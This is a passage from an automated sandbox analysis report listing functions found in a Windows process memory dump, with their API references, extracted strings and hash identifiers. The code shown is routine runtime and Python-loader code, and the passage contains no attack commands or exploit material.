Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction ID: 5b238d7ce1e8125ae7035ed88fbb38457c7473da8b8a9fc4cf3612eee2032bb6
Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction Fuzzy Hash: 33218132E047818AFB24AF64C8846EC73A0EF44718F844675D61D86AD6EF78E544C760

Function 00007FF70AF06004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF05F69

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: b085b8653ca7fec3c25dfae4fb8990d541bce2b2f9bb30323eb3c288c9e2de20
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: C3115423A1C64141FA60BF61D80097DE264AF45BC1FC58071EB4CD7A96DF7DF5408B20

Function 00007FF70AF163C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF163E7

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: 8015551807c12e99e3128f894cc23b8a52d38d6e18f163b301efe295db38206e
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: 0F21877361868187EBA5AF18D840779B6A0FF84B94F944274E69DC77D5DF3CE4008B10

Function 00007FF70AF0042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF00480

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 788f8dc0f82b614d1b8e4cc5293acc88a32f972fd1d59c2380323b68b5e7fa19
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 7901C227A0874140FA20BB52DD01969E691AF81FE0F884671DE5C93BD6CF3CF0014314

Function 00007FF70AF0EC08 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF70AF0B39A,?,?,?,00007FF70AF04F81,?,?,?,?,00007FF70AF0A4FA), ref: 00007FF70AF0EC5D

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction ID: a78118a8db4834ceeef7da0a25f9335e26a27e49eec8385fd8aafaa7247c1787
Opcode Fuzzy Hash: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction Fuzzy Hash: 85F04F46B0920680FE657A61DC61AB5C2805F84B80FCD89B0C94DCA3D2DF1DF4808230

Function 00007FF70AF0D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF70AF00D00,?,?,?,00007FF70AF0236A,?,?,?,?,?,00007FF70AF03B59), ref: 00007FF70AF0D6AA

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: e14ee3cf04d34127004069ba82dc187481a9ee47ac0b7e00eb176b0da9320a45
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: 8FF0D412A0A34685FE6476A1DC51A79D2905F94BA1FC847B0DD2ECA3D2DF6DF4808630

Non-executed Functions

Function 00007FF70AEF5820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF5830
GetLastError.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF5842
GetProcAddress.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF5879
GetLastError.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF588B
GetProcAddress.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF58A4
GetLastError.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF58B6
GetProcAddress.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF58CF
GetLastError.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF58E1
GetProcAddress.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF58FD
GetLastError.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF590F
GetProcAddress.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF592B
GetLastError.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF593D
GetProcAddress.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF5959
GetLastError.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF596B
GetProcAddress.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF5987
GetLastError.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF5999
GetProcAddress.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF59B5
GetLastError.KERNEL32(?,00007FF70AEF64BF,?,00007FF70AEF336E), ref: 00007FF70AEF59C7

Strings

PyErr_Print, xrefs: 00007FF70AEF5B49, 00007FF70AEF5B6B
Py_IsInitialized, xrefs: 00007FF70AEF5921, 00007FF70AEF5943
PyUnicode_Decode, xrefs: 00007FF70AEF5EE1, 00007FF70AEF5F03
PyObject_SetAttrString, xrefs: 00007FF70AEF5D71, 00007FF70AEF5D93
PySys_GetObject, xrefs: 00007FF70AEF5E57, 00007FF70AEF5E79
PyErr_Occurred, xrefs: 00007FF70AEF5B1B, 00007FF70AEF5B3D
PyConfig_SetBytesString, xrefs: 00007FF70AEF5A07, 00007FF70AEF5A29
PyEval_EvalCode, xrefs: 00007FF70AEF5BA5, 00007FF70AEF5BC7
PyUnicode_FromFormat, xrefs: 00007FF70AEF5F3D, 00007FF70AEF5F5F
PyModule_GetDict, xrefs: 00007FF70AEF5CB9, 00007FF70AEF5CDB
Py_ExitStatusException, xrefs: 00007FF70AEF589A, 00007FF70AEF58BC
PyMem_RawFree, xrefs: 00007FF70AEF5C8B, 00007FF70AEF5CAD
GetProcAddress, xrefs: 00007FF70AEF5858
Failed to get address for %hs, xrefs: 00007FF70AEF5851
PyStatus_Exception, xrefs: 00007FF70AEF5E29, 00007FF70AEF5E4B
PyUnicode_AsUTF8, xrefs: 00007FF70AEF5EB3, 00007FF70AEF5ED5
PyConfig_Clear, xrefs: 00007FF70AEF597D, 00007FF70AEF599F
PyObject_GetAttrString, xrefs: 00007FF70AEF5D43, 00007FF70AEF5D65
Py_DecodeLocale, xrefs: 00007FF70AEF586F, 00007FF70AEF5891
Py_DecRef, xrefs: 00007FF70AEF5826, 00007FF70AEF5848
PyImport_AddModule, xrefs: 00007FF70AEF5BD3, 00007FF70AEF5BF5
PyObject_CallFunctionObjArgs, xrefs: 00007FF70AEF5D15, 00007FF70AEF5D37
PyImport_ImportModule, xrefs: 00007FF70AEF5C2F, 00007FF70AEF5C51
PyUnicode_Replace, xrefs: 00007FF70AEF5FC7, 00007FF70AEF5FE9
PyUnicode_FromString, xrefs: 00007FF70AEF5F6B, 00007FF70AEF5F8D
PyErr_NormalizeException, xrefs: 00007FF70AEF5AED, 00007FF70AEF5B0F
PyConfig_InitIsolatedConfig, xrefs: 00007FF70AEF59AB, 00007FF70AEF59CD
Py_InitializeFromConfig, xrefs: 00007FF70AEF58F3, 00007FF70AEF5915
PyObject_CallFunction, xrefs: 00007FF70AEF5CE7, 00007FF70AEF5D09
PyUnicode_DecodeFSDefault, xrefs: 00007FF70AEF5F0F, 00007FF70AEF5F31
PyMarshal_ReadObjectFromString, xrefs: 00007FF70AEF5C5D, 00007FF70AEF5C7F
PySys_SetObject, xrefs: 00007FF70AEF5E85, 00007FF70AEF5EA7
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF70AEF5DCD, 00007FF70AEF5DEF
Py_PreInitialize, xrefs: 00007FF70AEF594F, 00007FF70AEF5971
PyConfig_SetString, xrefs: 00007FF70AEF5A35, 00007FF70AEF5A57
PyConfig_SetWideStringList, xrefs: 00007FF70AEF5A63, 00007FF70AEF5A85
PyErr_Fetch, xrefs: 00007FF70AEF5ABF, 00007FF70AEF5AE1
PyImport_ExecCodeModule, xrefs: 00007FF70AEF5C01, 00007FF70AEF5C23
PyObject_Str, xrefs: 00007FF70AEF5D9F, 00007FF70AEF5DC1
PyUnicode_Join, xrefs: 00007FF70AEF5F99, 00007FF70AEF5FBB
PyErr_Clear, xrefs: 00007FF70AEF5A91, 00007FF70AEF5AB3
PyConfig_Read, xrefs: 00007FF70AEF59D9, 00007FF70AEF59FB
PyRun_SimpleStringFlags, xrefs: 00007FF70AEF5DFB, 00007FF70AEF5E1D
PyErr_Restore, xrefs: 00007FF70AEF5B77, 00007FF70AEF5B99
Py_Finalize, xrefs: 00007FF70AEF58C5, 00007FF70AEF58E7

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction ID: 3ae1ba6c7feea0d69bff46b7f5ddf52eacfc4dd7090b78bdc46ac3b03b067f87
Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction Fuzzy Hash: F0228C26A4EB47D2FA59BB55EC551B4A2A0EF18795FC490B9C82E02360FF3CF5498270

Function 00007FF70AF1411C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF70AF1416A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF147D6
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF1494C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF14C0A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF14E2A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF15067
memcpy_s.LIBCPMT ref: 00007FF70AF15142
memcpy_s.LIBCPMT ref: 00007FF70AF151ED
memcpy_s.LIBCPMT ref: 00007FF70AF152BC

Strings

1#IND, xrefs: 00007FF70AF14257
1#QNAN, xrefs: 00007FF70AF14283
1#SNAN, xrefs: 00007FF70AF1427A
1#INF, xrefs: 00007FF70AF14293

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction ID: 801667d3d435f902b798758c7542725e12f008919bf0a076a982b0191e7fba25
Opcode Fuzzy Hash: 5eb30dd7dc62229e37aa5031b27090d50e2656cb9eae334aa241f26caa9cb01e
Instruction Fuzzy Hash: 16B2B1B3A182828AF7659F64D840BFDB7A1FF94389F905175DA0E57B84DB38F9008B50

Function 00007FF70AEFAD1D Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

too many length or distance symbols, xrefs: 00007FF70AEFAEB6
invalid literal/lengths set, xrefs: 00007FF70AEFB1A3
invalid code -- missing end-of-block, xrefs: 00007FF70AEFB136
invalid literal/length code, xrefs: 00007FF70AEFB452
invalid bit length repeat, xrefs: 00007FF70AEFB109
invalid distances set, xrefs: 00007FF70AEFB210
invalid distance code, xrefs: 00007FF70AEFB624
invalid code lengths set, xrefs: 00007FF70AEFAE9D
invalid distance too far back, xrefs: 00007FF70AEFB6E0

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction ID: 1c57e1d8a643af64cb9cbf51fec3132a6c21ba1a5e7f2bf9fb0fc4458a10d643
Opcode Fuzzy Hash: 183baba8c618070380c74d0f680cff30a06716a401d1faaba0935d79222a4dc0
Instruction Fuzzy Hash: 58520673A146A68BE794AF14D859B7E7BADFF44340F818139E64A87780DB3CE840CB50

Function 00007FF70AEFD19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF70AEFD1B8
RtlCaptureContext.KERNEL32 ref: 00007FF70AEFD1E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF70AEFD1FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF70AEFD240
IsDebuggerPresent.KERNEL32 ref: 00007FF70AEFD294
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70AEFD2B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70AEFD2BC

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction ID: fdc104fc572063648e3f76c845ccde831fa8fbc938e16f1b42218220352ab1db
Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction Fuzzy Hash: A8311D73609A8186FB60AF60EC803EEA364FB84748F84443ADA4D47B95EF7CD548C720

Function 00007FF70AF15C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF70AF15CB5

Part of subcall function 00007FF70AF15608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF1561C

Part of subcall function 00007FF70AF0A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF70AF12D92,?,?,?,00007FF70AF12DCF,?,?,00000000,00007FF70AF13295,?,?,?,00007FF70AF131C7), ref: 00007FF70AF0A9CE
Part of subcall function 00007FF70AF0A9B8: GetLastError.KERNEL32(?,?,?,00007FF70AF12D92,?,?,?,00007FF70AF12DCF,?,?,00000000,00007FF70AF13295,?,?,?,00007FF70AF131C7), ref: 00007FF70AF0A9D8

Part of subcall function 00007FF70AF0A970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF70AF0A94F,?,?,?,?,?,00007FF70AF0A83A), ref: 00007FF70AF0A979
Part of subcall function 00007FF70AF0A970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF70AF0A94F,?,?,?,?,?,00007FF70AF0A83A), ref: 00007FF70AF0A99E

_get_daylight.LIBCMT ref: 00007FF70AF15CA4

Part of subcall function 00007FF70AF15668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF1567C

_get_daylight.LIBCMT ref: 00007FF70AF15F1A
_get_daylight.LIBCMT ref: 00007FF70AF15F2B
_get_daylight.LIBCMT ref: 00007FF70AF15F3C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF70AF1617C), ref: 00007FF70AF15F63

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction ID: 0fbee262e90e9278d75975231a5bc8bd2d88ab7ea718ebdcd4d121d47bd69b91
Opcode Fuzzy Hash: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction Fuzzy Hash: 1ED19A63E0825286FB20FF26DC415B9A661EF84798FC08176EA4D87786EF3CF4418760

Function 00007FF70AF0A684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF70AF0A6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF70AF0A715
RtlVirtualUnwind.KERNEL32 ref: 00007FF70AF0A750
IsDebuggerPresent.KERNEL32 ref: 00007FF70AF0A789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF70AF0A793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF70AF0A79E

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction ID: 80f7fa2c9fa347ed8872a57be45972699fe5fa640826ec1bef6388f1fd996f7d
Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction Fuzzy Hash: C4314D33618B8186EB60AB25EC406AEB7A4FB88798F940135EA8D47B54EF3CD155CB10

Function 00007FF70AF118E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF11930
FindFirstFileExW.KERNEL32 ref: 00007FF70AF11A3A

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

